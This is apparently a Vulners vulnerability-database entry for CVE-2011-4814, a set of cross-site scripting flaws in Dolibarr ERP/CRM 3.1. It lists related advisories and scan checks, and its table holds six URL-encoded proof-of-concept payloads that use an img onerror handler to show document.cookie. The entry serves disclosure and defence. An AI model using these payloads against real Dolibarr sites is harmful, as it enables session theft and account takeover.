CVE-2011-4814
🗓️ 14 Dec 2011 00:00:00Reported by mitreType
cve🔗 web.nvd.nist.gov📰️ 1 Media mentions👁 35 Views🌐 WEB
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2011-4814 | 23 Nov 201100:00 | – | circl | |
| CVE-2011-4814 | 14 Dec 201100:00 | – | cvelist | |
| Dolibarr Multiple Script URI XSS | 13 Apr 201200:00 | – | nessus | |
| Dolibarr ERP/CRM 3.1 - Multiple Script URI Cross-Site Scripting Vulnerabilities | 23 Nov 201100:00 | – | exploitdb | |
| EUVD-2011-4732 | 7 Oct 202500:30 | – | euvd | |
| Multiple vulnerabilities in Dolibarr | 2 Nov 201100:00 | – | htbridge | |
| CVE-2011-4814 | 14 Dec 201100:55 | – | nvd | |
| Dolibarr < 3.1RC3 Multiple Vulnerabilities - Active Check | 15 Dec 201100:00 | – | openvas | |
| Cross site scripting | 14 Dec 201100:55 | – | prion | |
| PT-2011-5120 · Dolibarr · Dolibarr | 14 Dec 201100:00 | – | ptsecurity |
10
Node
OR
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| PATH_INFO | path | index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via PATH_INFO in index.php | CWE-79 |
| PATH_INFO | path | admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via PATH_INFO in admin/boxes.php | CWE-79 |
| PATH_INFO | path | comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via PATH_INFO in comm/clients.php | CWE-79 |
| PATH_INFO | path | commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via PATH_INFO in commande/index.php | CWE-79 |
| optioncss | query param | admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via optioncss parameter in admin/ihm.php | CWE-79 |
| optioncss | query param | user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E | XSS via optioncss parameter in user/home.php | CWE-79 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jun 2026 23:35Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.05527